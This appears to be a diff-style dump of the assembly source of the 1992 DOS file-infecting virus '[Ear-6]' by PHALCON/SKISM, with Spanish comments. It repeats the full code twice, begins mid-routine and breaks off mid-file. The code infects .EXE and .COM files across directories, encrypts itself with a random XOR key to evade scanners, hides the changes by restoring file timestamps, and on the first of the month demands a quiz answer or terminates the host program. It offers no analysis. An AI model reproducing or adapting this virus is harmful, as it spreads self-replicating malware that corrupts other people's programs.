cmp ax, word ptr [bp+buffer+1] ; ¨Ya es infectada?
|
||||
jnz infecta_mi_burro ; "infect my ass"
|
||||
jmp short BuscaMas
|
||||
buscaEXE:
|
||||
cmp word ptr [bp+buffer+10h], id
|
||||
jnz infecta_mi_burro
|
||||
BuscaMas:
|
||||
mov ah, 4fh ; Busca otra ficha...
|
||||
jmp short brb_brb
|
||||
hasta_la_vista_bebe: ; ¨Le gusta Arnold?
|
||||
ret
|
||||
|
||||
infecta_mi_burro:
|
||||
; AX = longitud de la ficha infectada
|
||||
lea si, [bp+buffer]
|
||||
|
||||
cmp word ptr [si], 'ZM'
|
||||
jz InfectaEXE
|
||||
InfectaCOM:
|
||||
push ax
|
||||
|
||||
mov cx, word ptr [bp+tempo]
|
||||
mov word ptr [bp+remendar1+1], cx
|
||||
|
||||
lea di, [bp+Primer3]
|
||||
movsb
|
||||
push si
|
||||
movsw
|
||||
|
||||
mov byte ptr [bp+buffer], 0e9h
|
||||
pop di
|
||||
add ax, longitud_del_virus
|
||||
stosw
|
||||
|
||||
mov cx, 3
|
||||
jmp short TerminaInfeccion
|
||||
InfectaEXE:
|
||||
les ax, [si+14h] ; Salva el original empieza
|
||||
mov word ptr [bp+EXE_Donde_JMP2], ax; CS:IP de la ficha infectada
|
||||
mov word ptr [bp+EXE_Donde_JMP2+2], es
|
||||
|
||||
les ax, [si+0Eh] ; Salva la original locaci¢n
|
||||
mov word ptr [bp+PilaOriginal2], es ; de la pila
|
||||
mov word ptr [bp+PilaOriginal2+2], ax
|
||||
|
||||
mov ax, word ptr [si + 8]
|
||||
mov cl, 4
|
||||
shl ax, cl
|
||||
xchg ax, bx
|
||||
|
||||
les ax, [bp+offset nuevoDTA+26]
|
||||
mov dx, es
|
||||
push ax
|
||||
push dx
|
||||
|
||||
sub ax, bx
|
||||
sbb dx, 0
|
||||
|
||||
mov cx, 10h
|
||||
div cx
|
||||
|
||||
mov word ptr [si+14h], dx ; Nuevo empieza CS:IP
|
||||
mov word ptr [si+16h], ax
|
||||
|
||||
mov cl, 4
|
||||
shr dx, cl
|
||||
add ax, dx
|
||||
mov word ptr [si+0Eh], ax ; y SS:SP
|
||||
mov word ptr [si+10h], id
|
||||
|
||||
pop dx ; Restaura el magnitud de
|
||||
pop ax ; la ficha
|
||||
|
||||
add ax, longitud_del_virus ; A¤ada el magnitud del virus
|
||||
adc dx, 0
|
||||
mov cl, 9
|
||||
push ax
|
||||
shr ax, cl
|
||||
ror dx, cl
|
||||
stc
|
||||
adc dx, ax
|
||||
pop ax
|
||||
and ah, 1
|
||||
|
||||
mov word ptr [si+4], dx ; Nuevo magnitud de la ficha
|
||||
mov word ptr [si+2], ax
|
||||
|
||||
push cs
|
||||
pop es
|
||||
|
||||
mov ax, word ptr [si+14h]
|
||||
sub ax, longitud_del_virus + offset Empezarvir
|
||||
push ax
|
||||
|
||||
mov cx, 1ah
|
||||
TerminaInfeccion:
|
||||
mov al, 2
|
||||
call abrir
|
||||
|
||||
mov ah, 40h
|
||||
lea dx, [bp+buffer]
|
||||
int 21h
|
||||
|
||||
mov ax, 4202h
|
||||
xor cx, cx
|
||||
cwd ; xor dx,dx
|
||||
int 21h
|
||||
|
||||
mov ah, 2ch ; N£meros azados en CX y DX
|
||||
int 21h
|
||||
mov word ptr [bp+remendar3+2], cx ; Es el nuevo n£mero de la
|
||||
; cifra
|
||||
and cx, 31 ; Pone un n£mero azado para el
|
||||
add cx, ((longitud_del_virus + 1) / 2); magnitud de la ficha. Por
|
||||
; eso, los scanners necesitan
|
||||
mov word ptr [bp+remendar2+1], cx ; usar "wildcards"
|
||||
lea di, [bp+tempstore]
|
||||
mov al, 53h ; push bx
|
||||
stosb ; (no destruir el mango de la
|
||||
; ficha)
|
||||
lea si, [bp+shwing] ; Copia las instrucciones
|
||||
push si ; para formar la cifra
|
||||
mov cx, longitud_de_la_cifra
|
||||
push cx
|
||||
rep movsb
|
||||
|
||||
mov al, 5bh ; pop bx
|
||||
stosb ; (recuerda mango de la ficha)
|
||||
|
||||
lea si, [bp+escribir] ; Copia las instrucciones
|
||||
mov cx, longitud_del_escribir ; para a¤ada el virus a la
|
||||
rep movsb ; ficha
|
||||
|
||||
mov al, 53h ; push bx
|
||||
stosb
|
||||
|
||||
pop cx ; Copia las instrucciones
|
||||
pop si ; para invalidar la cifra
|
||||
rep movsb
|
||||
mov ax, 0c35bh ; pop bx, retn
|
||||
stosw
|
||||
|
||||
pop ax
|
||||
|
||||
; Codo del comienzo de la cifra
|
||||
add ax, offset EmpezarCifra + longitud_del_virus
|
||||
mov word ptr [bp+remendar1+1], ax
|
||||
|
||||
call antes_del_tempstore
|
||||
|
||||
mov ax, 5701h ; BX = mango de la ficha
|
||||
mov dx, word ptr [bp+f_fecha]
|
||||
mov cx, word ptr [bp+f_hora]
|
||||
int 21h ; Restaura fecha y hora
|
||||
|
||||
mov ah, 3eh
|
||||
int 21h
|
||||
|
||||
xor ch, ch
|
||||
mov cl, byte ptr [bp+f_atrib]
|
||||
mov ax, 4301h
|
||||
lea dx, [bp+offset nuevoDTA + 30] ; Busca un ficha en el DTA
|
||||
int 21h
|
||||
|
||||
inc byte ptr [bp+numinf]
|
||||
|
||||
jmp BuscaMas
|
||||
|
||||
Primer3 db 0CDh, 20h, 0
|
||||
puntos db '..',0
|
||||
mascara1 db '*.EXE',0
|
||||
mascara2 db '*.COM',0
|
||||
|
||||
abrir: mov ah, 3dh ; Abrir un ficha
|
||||
lea dx, [bp+nuevoDTA+30] ; Nombre de la ficha es en
|
||||
int 21h ; el DTA
|
||||
xchg ax, bx
|
||||
ret
|
||||
|
||||
indice dw offset oreja1, offset oreja2, offset oreja3, offset oreja4
|
||||
dw offset oreja5, offset oreja6, offset oreja4, offset oreja1
|
||||
oreja1 db '1','Auditory Canal$'
|
||||
oreja2 db '1','Lobe$'
|
||||
oreja3 db '2','Anvil$'
|
||||
oreja4 db '2','Eustachian Tube$'
|
||||
oreja5 db '3','Auditory Nerve$'
|
||||
oreja6 db '3','Cochlea$'
|
||||
|
||||
mensaje db 'PHALCON/SKISM 1992 [Ear-6] Alert!',13,10,'Where is the $'
|
||||
secciones db ' located?',13,10
|
||||
db ' 1. External Ear',13,10
|
||||
db ' 2. Middle Ear',13,10
|
||||
db ' 3. Inner Ear',13,10,'( )',8,8,'$'
|
||||
|
||||
; No es bueno.
|
||||
suspendido db 13,10,'You obviously know nothing about ears.'
|
||||
db 13,10,'Try again after some study.',13,10,'$'
|
||||
|
||||
; Espero que s¡!
|
||||
aprueba db 13,10,'Wow, you know your ears! Please resume work.',13,10
|
||||
db '$'
|
||||
|
||||
escribir:
|
||||
mov ah, 40h
|
||||
mov cx, TerminaVir - EmpezarVir
|
||||
lea dx, [bp+EmpezarVir]
|
||||
int 21h
|
||||
|
||||
termina:
|
||||
|
||||
backslash db '\'
|
||||
|
||||
TerminaVir = $
|
||||
|
||||
; Los que sigue son en el mont¢n...
|
||||
longitud_de_la_cifra = offset EmpezarCifra - offset shwing
|
||||
|
||||
diroriginal db 64 dup (?)
|
||||
tempo dw ?
|
||||
nuevoDTA db 43 dup (?)
|
||||
numinf db ?
|
||||
antes_del_tempstore:
|
||||
; tempstore es el buffer para el parte del programa que a¤ada el virus al fin
|
||||
; de otro programa
|
||||
tempstore db (longitud_de_la_cifra*2+longitud_del_escribir+5) dup (?)
|
||||
; a¤ada cinco para los pop,
|
||||
; los push, y el retn
|
||||
buffer db 1ah dup (?)
|
||||
f_atrib db ? ; atributo de la ficha
|
||||
f_hora dw ? ; hora de creaci¢n
|
||||
f_fecha dw ? ; fecha de creaci¢n
|
||||
f_long dd ? ; magnitud de la ficha
|
||||
|
||||
end Empezar
|
||||
|
|
@ -0,0 +1,476 @@
|
|||
; [Ear-6]
|
||||
|
||||
; El virus de oreja y o¡do seis
|
||||
; Fue escrito por Dark Angel de PHALCON/SKISM
|
||||
; Yo (el ngel oscuro) escrib¡ este programa hace muchas semanas.
|
||||
; No deba modificar este programa y da a otras personas COMO SI
|
||||
; estar el suyo.
|
||||
|
||||
; ¨D¢nde est mi llama, mama?
|
||||
|
||||
; diccionarito
|
||||
; espa¤ol ingl‚s magnitud size
|
||||
; abre open mango handle
|
||||
; aprueba pass (a test) m scara mask
|
||||
; atras back mensaje message
|
||||
; azado random mes month
|
||||
; busca find mont¢n heap
|
||||
; cierra close oreja, o¡do ear
|
||||
; cifra code, encrypt, decrypt pila stack
|
||||
; codo pointer pregunta question
|
||||
; corto terse, short primer first
|
||||
; empieza begin remendar patch
|
||||
; escriba write renuncia reject
|
||||
; espa¤ol ingl‚s respuesta answer
|
||||
; fecha date salta exit
|
||||
; ficha file siguiente following, next
|
||||
; ¡ndice table suspende fail (a test)
|
||||
; ¨le gusta? do you like? termina end
|
||||
; longitud length virus virus (!)
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
org 100h
|
||||
|
||||
longitud_del_virus = TerminaVir - EmpezarVir
|
||||
longitud_del_escribir = offset termina_escribir - offset escribir
|
||||
|
||||
id = 'GH' ; Representa el l¡der de
|
||||
; PHALCON/SKISM, Garbageheap
|
||||
Empezar: db 0e9h, 0, 0 ; jmp EmpezarVir
|
||||
|
||||
EmpezarVir:
|
||||
shwing:
|
||||
remendar1:
|
||||
mov bx, offset EmpezarCifra
|
||||
remendar2:
|
||||
mov cx, ((longitud_del_virus + 1) / 2)
|
||||
hacia_atras: ; atr s
|
||||
db 2eh
|
||||
remendar3:
|
||||
db 81h, 37h, 0, 0 ; xor word ptr cs:[bx], 0
|
||||
add bx, 2
|
||||
loop hacia_atras
|
||||
EmpezarCifra:
|
||||
|
||||
call siguiente ; Es estupido, pero es corto
|
||||
siguiente:
|
||||
pop bp
|
||||
sub bp, offset siguiente
|
||||
|
||||
mov byte ptr [bp+numinf], 0
|
||||
|
||||
cld ; No es necessario, pero
|
||||
; ¨por qu‚ no?
|
||||
cmp sp, id
|
||||
jz SoyEXE
|
||||
SoyCOM: mov di, 100h
|
||||
push di
|
||||
lea si, [bp+Primer3]
|
||||
movsb
|
||||
jmp short SoyNada
|
||||
SoyEXE: push ds
|
||||
push es
|
||||
push cs
|
||||
push cs
|
||||
pop ds
|
||||
pop es
|
||||
|
||||
lea di, [bp+EXE_Donde_JMP] ; el CS:IP original de la ficha
|
||||
lea si, [bp+EXE_Donde_JMP2] ; infectada
|
||||
movsw
|
||||
movsw
|
||||
movsw
|
||||
|
||||
jmp short SoyNada
|
||||
|
||||
NombreDelVirus db 0,'[Ear-6]',0 ; En ingl‚s, por supuesto!
|
||||
NombreDelAutor db 'Dark Angel',0
|
||||
|
||||
SoyNada:
|
||||
movsw
|
||||
|
||||
mov ah, 1ah ; Esindicece un DTA nuevo
|
||||
lea dx, [bp+offset nuevoDTA] ; porque no quiere destruir
|
||||
int 21h ; el DTA original
|
||||
|
||||
mov ax, word ptr [bp+remendar1+1]
|
||||
mov word ptr [bp+tempo], ax
|
||||
|
||||
mov ah, 47h ; Obtiene el directorio
|
||||
xor dl, dl ; presente
|
||||
lea si, [bp+diroriginal]
|
||||
int 21h
|
||||
|
||||
looper:
|
||||
lea dx, [bp+offset mascara1] ; "m scara", no "mascara"
|
||||
call infectar_mascara ; pero no es possible usar
|
||||
; acentos en MASM/TASM.
|
||||
; Qu‚ l stima!
|
||||
; mascara1 es '*.EXE',0
|
||||
lea dx, [bp+offset mascara2] ; mascara2 es '*.COM',0
|
||||
call infectar_mascara ; infecta las fichas de COM
|
||||
|
||||
cmp byte ptr [bp+numinf], 5 ; ¨Ha infectada cinco fichas?
|
||||
jg saltar ; Si es verdad, no necesita
|
||||
; busca m s fichas.
|
||||
mov ah, 3bh ; Cambia el directorio al
|
||||
lea dx, [bp+puntos] ; directorio anterior
|
||||
int 21h ; ('..', 'punto punto')
|
||||
jnc looper
|
||||
|
||||
saltar: lea dx, [bp+backslash] ; Cambia el directorio al
|
||||
mov ah, 3bh ; directorio terminado.
|
||||
int 21h
|
||||
|
||||
mov ah, 2ah ; Activa el primer de
|
||||
int 21h ; cada mes
|
||||
cmp dl, 1 ; Si no es el primer,
|
||||
jnz saltarahora ; saltar ahora! (duh-o)
|
||||
|
||||
mov ah, 2ch ; ¨Qu‚ hora es?
|
||||
int 21h
|
||||
|
||||
cmp dl, 85 ; 85% probabilidad de
|
||||
jg saltarahora ; activaci¢n
|
||||
|
||||
and dx, 7 ; Un n£mero quasi-azado
|
||||
shl dl, 1 ; Usalo para determinar
|
||||
mov bx, bp ; que preguntar la virus
|
||||
add bx, dx
|
||||
mov dx, word ptr [bx+indice] ; ¡ndice para el examencito
|
||||
add dx, bp
|
||||
inc dx
|
||||
push dx ; Salva el codo al pregunta
|
||||
|
||||
mov ah, 9 ; Escriba el primer parte de
|
||||
lea dx, [bp+mensaje] ; la pregunta
|
||||
int 21h
|
||||
|
||||
pop dx ; Escriba el parte de la oreja
|
||||
int 21h ; o el o¡do
|
||||
dec dx
|
||||
push dx ; Salva la respuesta correcta
|
||||
|
||||
lea dx, [bp+secciones] ; Escriba los secciones de la
|
||||
int 21h ; oreja y el o¡do
|
||||
|
||||
trataotrarespuesta:
|
||||
mov ah, 7 ; Obtiene la respuesta de la
|
||||
int 21h ; "v¡ctima"
|
||||
cmp al, '1' ; Necesita una respuesta de
|
||||
jl trataotrarespuesta ; uno hasta tres
|
||||
cmp al, '3' ; Renuncia otras respuestas
|
||||
jg trataotrarespuesta
|
||||
|
||||
int 29h ; Escriba la respuesta
|
||||
|
||||
pop bx ; El codo al respuesta
|
||||
; correcta
|
||||
mov ah, 9 ; Prepara a escribir un
|
||||
; mensaje
|
||||
cmp al, byte ptr [bx] ; ¨Es correcta?
|
||||
jz saltarapidamente ; <20>l aprueba el examencito.
|
||||
; Pues, salta r pidamente.
|
||||
lea dx, [bp+suspendido] ; Lo siento, pero Ud. no
|
||||
int 21h ; aprueba el examencito f cil!
|
||||
|
||||
mov ah, 4ch ; Estudie m s y el programa
|
||||
jmp quite ; permitir a Ud a continuar.
|
||||
|
||||
saltarapidamente:
|
||||
lea dx, [bp+aprueba]
|
||||
int 21h
|
||||
saltarahora:
|
||||
mov ah, 1ah ; Restaura el DTA original
|
||||
mov dx, 80h
|
||||
quite:
|
||||
cmp sp, id - 4 ; ¨Es EXE o COM?
|
||||
jz vuelvaEXE
|
||||
vuelvaCOM:
|
||||
int 21h ; Restaura el DTA y vuelva
|
||||
retn ; a la ficha original de COM
|
||||
|
||||
vuelvaEXE:
|
||||
pop es
|
||||
pop ds ; ds -> PSP
|
||||
|
||||
int 21h
|
||||
|
||||
mov ax, es
|
||||
add ax, 10h ; Ajusta para el PSP
|
||||
add word ptr cs:[bp+EXE_Donde_JMP+2], ax
|
||||
cli
|
||||
add ax, word ptr cs:[bp+PilaOriginal+2]
|
||||
mov ss, ax
|
||||
mov sp, word ptr cs:[bp+PilaOriginal]
|
||||
sti
|
||||
db 0eah ; JMP FAR PTR SEG:OFF
|
||||
EXE_Donde_JMP dd 0
|
||||
PilaOriginal dd 0
|
||||
|
||||
EXE_Donde_JMP2 dd 0
|
||||
PilaOriginal2 dd 0
|
||||
|
||||
infectar_mascara:
|
||||
mov ah, 4eh ; Busca la ficha primera
|
||||
mov cx, 7 ; Cada atributo
|
||||
brb_brb:
|
||||
int 21h
|
||||
jc hasta_la_vista_bebe ; No la busca
|
||||
|
||||
xor al, al
|
||||
call abrir ; Abre la ficha
|
||||
|
||||
mov ah, 3fh
|
||||
mov cx, 1ah
|
||||
lea dx, [bp+buffer]
|
||||
int 21h
|
||||
|
||||
mov ah, 3eh ; Cierra la ficha
|
||||
int 21h
|
||||
|
||||
lea si,[bp+nuevoDTA+15h] ; Salva cosas sobre la ficha
|
||||
lea di,[bp+f_atrib] ; Por ejemplo, la fecha de
|
||||
mov cx, 9 ; creaci¢n
|
||||
rep movsb
|
||||
|
||||
cmp word ptr [bp+buffer], 'ZM' ; ¨Es EXE o COM?
|
||||
jz buscaEXE
|
||||
buscaCOM:
|
||||
mov ax, word ptr [bp+f_long] ; ¨Cuan grande es la ficha?
|
||||
sub ax, longitud_del_virus + 3 ; Adjusta para el JMP
|
||||
cmp ax, word ptr [bp+buffer+1] ; ¨Ya es infectada?
|
||||
jnz infecta_mi_burro ; "infect my ass"
|
||||
jmp short BuscaMas
|
||||
buscaEXE:
|
||||
cmp word ptr [bp+buffer+10h], id
|
||||
jnz infecta_mi_burro
|
||||
BuscaMas:
|
||||
mov ah, 4fh ; Busca otra ficha...
|
||||
jmp short brb_brb
|
||||
hasta_la_vista_bebe: ; ¨Le gusta Arnold?
|
||||
ret
|
||||
|
||||
infecta_mi_burro:
|
||||
; AX = longitud de la ficha infectada
|
||||
lea si, [bp+buffer]
|
||||
|
||||
cmp word ptr [si], 'ZM'
|
||||
jz InfectaEXE
|
||||
InfectaCOM:
|
||||
push ax
|
||||
|
||||
mov cx, word ptr [bp+tempo]
|
||||
mov word ptr [bp+remendar1+1], cx
|
||||
|
||||
lea di, [bp+Primer3]
|
||||
movsb
|
||||
push si
|
||||
movsw
|
||||
|
||||
mov byte ptr [bp+buffer], 0e9h
|
||||
pop di
|
||||
add ax, longitud_del_virus
|
||||
stosw
|
||||
|
||||
mov cx, 3
|
||||
jmp short TerminaInfeccion
|
||||
InfectaEXE:
|
||||
les ax, [si+14h] ; Salva el original empieza
|
||||
mov word ptr [bp+EXE_Donde_JMP2], ax; CS:IP de la ficha infectada
|
||||
mov word ptr [bp+EXE_Donde_JMP2+2], es
|
||||
|
||||
les ax, [si+0Eh] ; Salva la original locaci¢n
|
||||
mov word ptr [bp+PilaOriginal2], es ; de la pila
|
||||
mov word ptr [bp+PilaOriginal2+2], ax
|
||||
|
||||
mov ax, word ptr [si + 8]
|
||||
mov cl, 4
|
||||
shl ax, cl
|
||||
xchg ax, bx
|
||||
|
||||
les ax, [bp+offset nuevoDTA+26]
|
||||
mov dx, es
|
||||
push ax
|
||||
push dx
|
||||
|
||||
sub ax, bx
|
||||
sbb dx, 0
|
||||
|
||||
mov cx, 10h
|
||||
div cx
|
||||
|
||||
mov word ptr [si+14h], dx ; Nuevo empieza CS:IP
|
||||
mov word ptr [si+16h], ax
|
||||
|
||||
mov cl, 4
|
||||
shr dx, cl
|
||||
add ax, dx
|
||||
mov word ptr [si+0Eh], ax ; y SS:SP
|
||||
mov word ptr [si+10h], id
|
||||
|
||||
pop dx ; Restaura el magnitud de
|
||||
pop ax ; la ficha
|
||||
|
||||
add ax, longitud_del_virus ; A¤ada el magnitud del virus
|
||||
adc dx, 0
|
||||
mov cl, 9
|
||||
push ax
|
||||
shr ax, cl
|
||||
ror dx, cl
|
||||
stc
|
||||
adc dx, ax
|
||||
pop ax
|
||||
and ah, 1
|
||||
|
||||
mov word ptr [si+4], dx ; Nuevo magnitud de la ficha
|
||||
mov word ptr [si+2], ax
|
||||
|
||||
push cs
|
||||
pop es
|
||||
|
||||
mov ax, word ptr [si+14h]
|
||||
sub ax, longitud_del_virus + offset Empezarvir
|
||||
push ax
|
||||
|
||||
mov cx, 1ah
|
||||
TerminaInfeccion:
|
||||
mov al, 2
|
||||
call abrir
|
||||
|
||||
mov ah, 40h
|
||||
lea dx, [bp+buffer]
|
||||
int 21h
|
||||
|
||||
mov ax, 4202h
|
||||
xor cx, cx
|
||||
cwd ; xor dx,dx
|
||||
int 21h
|
||||
|
||||
mov ah, 2ch ; N£meros azados en CX y DX
|
||||
int 21h
|
||||
mov word ptr [bp+remendar3+2], cx ; Es el nuevo n£mero de la
|
||||
; cifra
|
||||
and cx, 31 ; Pone un n£mero azado para el
|
||||
add cx, ((longitud_del_virus + 1) / 2); magnitud de la ficha. Por
|
||||
; eso, los scanners necesitan
|
||||
mov word ptr [bp+remendar2+1], cx ; usar "wildcards"
|
||||
lea di, [bp+tempstore]
|
||||
mov al, 53h ; push bx
|
||||
stosb ; (no destruir el mango de la
|
||||
; ficha)
|
||||
lea si, [bp+shwing] ; Copia las instrucciones
|
||||
push si ; para formar la cifra
|
||||
mov cx, longitud_de_la_cifra
|
||||
push cx
|
||||
rep movsb
|
||||
|
||||
mov al, 5bh ; pop bx
|
||||
stosb ; (recuerda mango de la ficha)
|
||||
|
||||
lea si, [bp+escribir] ; Copia las instrucciones
|
||||
mov cx, longitud_del_escribir ; para a¤ada el virus a la
|
||||
rep movsb ; ficha
|
||||
|
||||
mov al, 53h ; push bx
|
||||
stosb
|
||||
|
||||
pop cx ; Copia las instrucciones
|
||||
pop si ; para invalidar la cifra
|
||||
rep movsb
|
||||
mov ax, 0c35bh ; pop bx, retn
|
||||
stosw
|
||||
|
||||
pop ax
|
||||
|
||||
; Codo del comienzo de la cifra
|
||||
add ax, offset EmpezarCifra + longitud_del_virus
|
||||
mov word ptr [bp+remendar1+1], ax
|
||||
|
||||
call antes_del_tempstore
|
||||
|
||||
mov ax, 5701h ; BX = mango de la ficha
|
||||
mov dx, word ptr [bp+f_fecha]
|
||||
mov cx, word ptr [bp+f_hora]
|
||||
int 21h ; Restaura fecha y hora
|
||||
|
||||
mov ah, 3eh
|
||||
int 21h
|
||||
|
||||
xor ch, ch
|
||||
mov cl, byte ptr [bp+f_atrib]
|
||||
mov ax, 4301h
|
||||
lea dx, [bp+offset nuevoDTA + 30] ; Busca un ficha en el DTA
|
||||
int 21h
|
||||
|
||||
inc byte ptr [bp+numinf]
|
||||
|
||||
jmp BuscaMas
|
||||
|
||||
Primer3 db 0CDh, 20h, 0
|
||||
puntos db '..',0
|
||||
mascara1 db '*.EXE',0
|
||||
mascara2 db '*.COM',0
|
||||
|
||||
abrir: mov ah, 3dh ; Abrir un ficha
|
||||
lea dx, [bp+nuevoDTA+30] ; Nombre de la ficha es en
|
||||
int 21h ; el DTA
|
||||
xchg ax, bx
|
||||
ret
|
||||
|
||||
indice dw offset oreja1, offset oreja2, offset oreja3, offset oreja4
|
||||
dw offset oreja5, offset oreja6, offset oreja4, offset oreja1
|
||||
oreja1 db '1','Auditory Canal$'
|
||||
oreja2 db '1','Lobe$'
|
||||
oreja3 db '2','Anvil$'
|
||||
oreja4 db '2','Eustachian Tube$'
|
||||
oreja5 db '3','Auditory Nerve$'
|
||||
oreja6 db '3','Cochlea$'
|
||||
|
||||
mensaje db 'PHALCON/SKISM 1992 [Ear-6] Alert!',13,10,'Where is the $'
|
||||
secciones db ' located?',13,10
|
||||
db ' 1. External Ear',13,10
|
||||
db ' 2. Middle Ear',13,10
|
||||
db ' 3. Inner Ear',13,10,'( )',8,8,'$'
|
||||
|
||||
; No es bueno.
|
||||
suspendido db 13,10,'You obviously know nothing about ears.'
|
||||
db 13,10,'Try again after some study.',13,10,'$'
|
||||
|
||||
; Espero que s¡!
|
||||
aprueba db 13,10,'Wow, you know your ears! Please resume work.',13,10
|
||||
db '$'
|
||||
|
||||
escribir:
|
||||
mov ah, 40h
|
||||
mov cx, TerminaVir - EmpezarVir
|
||||
lea dx, [bp+EmpezarVir]
|
||||
int 21h
|
||||
termina_escribir:
|
||||
|
||||
backslash db '\'
|
||||
|
||||
TerminaVir = $
|
||||
|
||||
; Los que sigue son en el mont¢n...
|
||||
longitud_de_la_cifra = offset EmpezarCifra - offset shwing
|
||||
|
||||
diroriginal db 64 dup (?)
|
||||
tempo dw ?
|
||||
nuevoDTA db 43 dup (?)
|
||||
numinf db ?
|
||||
antes_del_tempstore:
|
||||
; tempstore es el buffer para el parte del programa que a¤ada el virus al fin
|
||||
; de otro programa
|
||||
tempstore db (longitud_de_la_cifra*2+longitud_del_escribir+5) dup (?)
|
||||
; a¤ada cinco para los pop,
|
||||
; los push, y el retn
|
||||
buffer db 1ah dup (?)
|
||||
f_atrib db ? ; atributo de la ficha
|
||||
f_hora dw ? ; hora de creaci¢n
|
||||
f_fecha dw ? ; fecha de creaci¢n
|
||||
f_long dd ? ; magnitud de la ficha
|
||||
|
||||
end Empezar
|
||||
|
|
@ -0,0 +1,475 @@
|
|||
|
||||
; [Ear-6]
|
||||
|
||||
; El virus de oreja y o¡do seis
|
||||
; Fue escrito por Dark Angel de PHALCON/SKISM
|
||||
; Yo (el ngel oscuro) escrib¡ este programa hace muchas semanas.
|
||||
; No deba modificar este programa y da a otras personas COMO SI
|
||||
; estar el suyo.
|
||||
|
||||
; ¨D¢nde est mi llama, mama?
|
||||
|
||||
; diccionarito
|
||||
; espa¤ol ingl‚s magnitud size
|
||||
; abre open mango handle
|
||||
; aprueba pass (a test) m scara mask
|
||||
; atras back mensaje message
|
||||
; azado random mes month
|
||||
; busca find mont¢n heap
|
||||
; cierra close oreja, o¡do ear
|
||||
; cifra code, encrypt, decrypt pila stack
|
||||
; codo pointer pregunta question
|
||||
; corto terse, short primer first
|
||||
; empieza begin remendar patch
|
||||
; escriba write renuncia reject
|
||||
; espa¤ol ingl‚s respuesta answer
|
||||
; fecha date salta exit
|
||||
; ficha file siguiente following, next
|
||||
; ¡ndice table suspende fail (a test)
|
||||
; ¨le gusta? do you like? termina end
|
||||
; longitud length virus virus (!)
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
org 100h
|
||||
|
||||
longitud_del_virus = TerminaVir - EmpezarVir
|
||||
longitud_del_escribir = offset termina_escribir - offset escribir
|
||||
|
||||
id = 'GH' ; Representa el l¡der de
|
||||
; PHALCON/SKISM, Garbageheap
|
||||
Empezar: db 0e9h, 0, 0 ; jmp EmpezarVir
|
||||
|
||||
EmpezarVir:
|
||||
shwing:
|
||||
remendar1:
|
||||
mov bx, offset EmpezarCifra
|
||||
remendar2:
|
||||
mov cx, ((longitud_del_virus + 1) / 2)
|
||||
hacia_atras: ; atr s
|
||||
db 2eh
|
||||
remendar3:
|
||||
db 81h, 37h, 0, 0 ; xor word ptr cs:[bx], 0
|
||||
add bx, 2
|
||||
loop hacia_atras
|
||||
EmpezarCifra:
|
||||
|
||||
call siguiente ; Es estupido, pero es corto
|
||||
siguiente:
|
||||
pop bp
|
||||
sub bp, offset siguiente
|
||||
|
||||
mov byte ptr [bp+numinf], 0
|
||||
|
||||
cld ; No es necessario, pero
|
||||
; ¨por qu‚ no?
|
||||
cmp sp, id
|
||||
jz SoyEXE
|
||||
SoyCOM: mov di, 100h
|
||||
push di
|
||||
lea si, [bp+Primer3]
|
||||
movsb
|
||||
jmp short SoyNada
|
||||
SoyEXE: push ds
|
||||
push es
|
||||
push cs
|
||||
push cs
|
||||
pop ds
|
||||
pop es
|
||||
|
||||
lea di, [bp+EXE_Donde_JMP] ; el CS:IP original de la ficha
|
||||
lea si, [bp+EXE_Donde_JMP2] ; infectada
|
||||
movsw
|
||||
movsw
|
||||
movsw
|
||||
|
||||
jmp short SoyNada
|
||||
|
||||
NombreDelVirus db 0,'[Ear-6]',0 ; En ingl‚s, por supuesto!
|
||||
NombreDelAutor db 'Dark Angel',0
|
||||
|
||||
SoyNada:
|
||||
movsw
|
||||
|
||||
mov ah, 1ah ; Esindicece un DTA nuevo
|
||||
lea dx, [bp+offset nuevoDTA] ; porque no quiere destruir
|
||||
int 21h ; el DTA original
|
||||
|
||||
mov ax, word ptr [bp+remendar1+1]
|
||||
mov word ptr [bp+tempo], ax
|
||||
|
||||
mov ah, 47h ; Obtiene el directorio
|
||||
xor dl, dl ; presente
|
||||
lea si, [bp+diroriginal]
|
||||
int 21h
|
||||
|
||||
looper:
|
||||
lea dx, [bp+offset mascara1] ; "m scara", no "mascara"
|
||||
call infectar_mascara ; pero no es possible usar
|
||||
; acentos en MASM/TASM.
|
||||
; Qu‚ l stima!
|
||||
; mascara1 es '*.EXE',0
|
||||
lea dx, [bp+offset mascara2] ; mascara2 es '*.COM',0
|
||||
call infectar_mascara ; infecta las fichas de COM
|
||||
|
||||
cmp byte ptr [bp+numinf], 5 ; ¨Ha infectada cinco fichas?
|
||||
jg saltar ; Si es verdad, no necesita
|
||||
; busca m s fichas.
|
||||
mov ah, 3bh ; Cambia el directorio al
|
||||
lea dx, [bp+puntos] ; directorio anterior
|
||||
int 21h ; ('..', 'punto punto')
|
||||
jnc looper
|
||||
|
||||
saltar: lea dx, [bp+backslash] ; Cambia el directorio al
|
||||
mov ah, 3bh ; directorio terminado.
|
||||
int 21h
|
||||
|
||||
mov ah, 2ah ; Activa el primer de
|
||||
int 21h ; cada mes
|
||||
cmp dl, 1 ; Si no es el primer,
|
||||
jnz saltarahora ; saltar ahora! (duh-o)
|
||||
|
||||
mov ah, 2ch ; ¨Qu‚ hora es?
|
||||
int 21h
|
||||
|
||||
cmp dl, 85 ; 85% probabilidad de
|
||||
jg saltarahora ; activaci¢n
|
||||
|
||||
and dx, 7 ; Un n£mero quasi-azado
|
||||
shl dl, 1 ; Usalo para determinar
|
||||
mov bx, bp ; que preguntar la virus
|
||||
add bx, dx
|
||||
mov dx, word ptr [bx+indice] ; ¡ndice para el examencito
|
||||
add dx, bp
|
||||
inc dx
|
||||
push dx ; Salva el codo al pregunta
|
||||
|
||||
mov ah, 9 ; Escriba el primer parte de
|
||||
lea dx, [bp+mensaje] ; la pregunta
|
||||
int 21h
|
||||
|
||||
pop dx ; Escriba el parte de la oreja
|
||||
int 21h ; o el o¡do
|
||||
dec dx
|
||||
push dx ; Salva la respuesta correcta
|
||||
|
||||
lea dx, [bp+secciones] ; Escriba los secciones de la
|
||||
int 21h ; oreja y el o¡do
|
||||
|
||||
trataotrarespuesta:
|
||||
mov ah, 7 ; Obtiene la respuesta de la
|
||||
int 21h ; "v¡ctima"
|
||||
cmp al, '1' ; Necesita una respuesta de
|
||||
jl trataotrarespuesta ; uno hasta tres
|
||||
cmp al, '3' ; Renuncia otras respuestas
|
||||
jg trataotrarespuesta
|
||||
|
||||
int 29h ; Escriba la respuesta
|
||||
|
||||
pop bx ; El codo al respuesta
|
||||
; correcta
|
||||
mov ah, 9 ; Prepara a escribir un
|
